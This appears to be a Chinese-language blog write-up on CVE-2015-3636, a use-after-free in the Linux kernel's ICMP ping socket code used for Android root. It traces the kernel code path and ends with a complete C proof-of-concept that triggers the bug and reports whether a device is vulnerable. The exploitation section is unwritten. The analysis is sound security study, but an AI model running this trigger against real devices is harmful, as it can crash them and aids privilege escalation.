CVE-2015-3636是一个Android系统上可通用的root提权漏洞,这种提权漏洞的挖掘越来越困难,一方面是因为Android系统碎片化十分严重,另一方面是漏洞缓冲机制的不断引入。
漏洞概述
该漏洞属于Linux Kernel级别的use-after-free漏洞,存在于Linux内核的ping.c文件中。当用户态调用系统调用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)
,用返回的socket文件描述符作为参数调用系统调用connect()
,并且connect的第二个参数中sa_family == AF_UNSPEC
时,就会因为访问0x200200这个地址引起系统crash。如果攻击者巧妙地填充或者覆盖PING socket对象,就能达到获取root权限的目的。
漏洞分析
从补丁源码可以看出里面添加了sk_nulls_node_init(sk->nulls_node);
一行代码,通过查看该函数的实现,这个函数的作用是将参数node的pprev成员赋为NULL。
include/net/sock.h
1 2 3 4
| static inline void sk_nulls_node_init(struct hlist_nulls_node *node) { node->pprev = NULL; }
|
接下来我们跟踪一下代码执行流程。调用connect()
时会进入到inet_dgram_connect()
函数中,过程如下:
net/socket.c
1 2 3 4 5 6 7 8 9 10 11 12
| SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr, int, addrlen) { struct socket *sock; int err, fput_needed;
sock = sockfd_lookup_light(fd, &err, &fput_needed); ... err = sock->ops->connect(sock, (struct sockaddr *)&address, addrlen, sock->file->f_flags); ... }
|
其中struct socket
定义如下:
include/linux/net.h
1 2 3 4 5
| struct socket { ... struct sock *sk; const struct proto_ops *ops; };
|
其中的ops
成员被connect()
函数中的sockfd_lookup_light()
初始化如下:
1 2 3 4 5 6
| const struct proto_ops inet_dgram_ops = { .family = PF_INET, .owner = THIS_MODULE, .release = inet_release, .bind = inet_bind, .connect = inet_dgram_connect,
|
下面看一下inet_dgram_connect()
这个函数,概述中说过因为调用connect()
时sa_family == AF_UNSPEC
,所以会执行sk->sk_prot->disconnect(sk, flags)
这行代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr, int addr_len, int flags) { struct sock *sk = sock->sk;
if (addr_len < sizeof(uaddr->sa_family)) return -EINVAL; if (uaddr->sa_family == AF_UNSPEC) return sk->sk_prot->disconnect(sk, flags);
if (!inet_sk(sk)->inet_num && inet_autobind(sk)) return -EAGAIN; return sk->sk_prot->connect(sk, uaddr, addr_len); }
|
sk_prot
是sk对象的一个成员,指向一个包含了确定数量函数指针的指针表,而具体的这些函数执行哪里取决于它的协议类型,这些协议包含TCP、UDP等。因此sk->sk_prot->disconnect(sk, flag)
这条语句最终是调用的udp_disconnect(struct sock *sk, int flag)
这个函数:
net/ipv4/udp.c
1 2 3 4 5 6 7 8 9 10 11 12 13
| int udp_disconnect(struct sock *sk, int flags) { struct inet_sock *inet = inet_sk(sk);
sk->sk_state = TCP_CLOSE; ... if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) { sk->sk_prot->unhash(sk); inet->inet_sport = 0; } sk_dst_reset(sk); return 0; }
|
在socket对象不绑定端口的情况下,会执行sk->sk_prot->unhash(sk)
这条语句,最终根据协议类型调用的是ping_v4_unhash(struct sock *sk)
:
net/ipv4/ping.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static void ping_v4_unhash(struct sock *sk) { struct inet_sock *isk = inet_sk(sk); pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0; sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); write_unlock_bh(&ping_table.lock); } }
|
现在程序逻辑进入到了漏洞所在的位置,关注的重点在hlist_nulls_del()
和sock_put()
这两行,hlist_nulls_del()
这句其实是将sk对象在其对应的内核hlist中删除。具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static inline void __hlist_nulls_del(struct hlist_nulls_node *n) { struct hlist_nulls_node *next = n->next; struct hlist_nulls_node **pprev = n->pprev; *pprev = next; if (!is_a_nulls(next)) next->pprev = pprev; }
static inline void hlist_nulls_del(struct hlist_nulls_node *n) { __hlist_nulls_del(n); n->pprev = LIST_POISON2; }
|
就是将n节点从对应链表中删除,并且将n节点的前向二级指针pprev赋值为LIST_POISON2
这个值,在内核源码中,这个宏定义为0x200200。
第一次调用sin_family == AF_UNSPEC
的connect时程序不会产生任何异常,而仅仅只是为了使这个sock对象sk的对应节点成员的pprev值被赋值为0x200200。
第二次调用sin_family == AF_UNSPEC
的connect时,才会真正触发漏洞使系统crash。这是因为*pprev = next
这条语句其实是对第一次节点的删除操作后LIST_POISON2
这个指针解引用,让其为next,而在内核中,这个LIST_POISON2
地址是不能被访问的,所以会引起系统crash。
这里还有一个问题需要说明一下,要使程序能进入if (sk_hashed())
逻辑中,必须在前面所说的两次connect之前先用sin_family == AF_INET
来调用一次connect(),这样才能使sk对象在内核中是hashed(被加入到内核hlist中)。
sin_family
是sockaddr_in
结构体中的成员,sa_family
是sockaddr
结构体中的成员,作为connect参数时sockaddr_in
会被转换为sockaddr
,sin_family
成员就变成了sa_family
。
完整的poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include <unistd.h> #include <sys/socket.h> #include <errno.h> #include <linux/netlink.h> #include <linux/if.h> #include <linux/filter.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <string.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <jni.h> #define MMAP_BASE 0x200000 #define LIST_POISON 0x200200 #define MMAP_SIZE 0x200000 int checkIsVulnerable() { void * magic = mmap((void *) MMAP_BASE, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); memset(magic, 0, MMAP_SIZE); *((long *)(LIST_POISON)) = 0xfefefefe; int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); sa.sin_family = AF_UNSPEC; connect(sock, (const struct sockaddr *) &sa, sizeof(sa));
connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); if (*((long *)(LIST_POISON)) != 0xfefefefe) { printf("Device is vulnerable\n"); return 1; } else { printf("Device is not vulnerable\n"); return 0; } }
|
在Android上编译调用。
漏洞利用
后面再补充。。。
reference
http://blog.csdn.net/koozxcv/article/details/50976884
http://blog.csdn.net/py_panyu/article/details/47378733
Own your Android! Yet Another Universal Root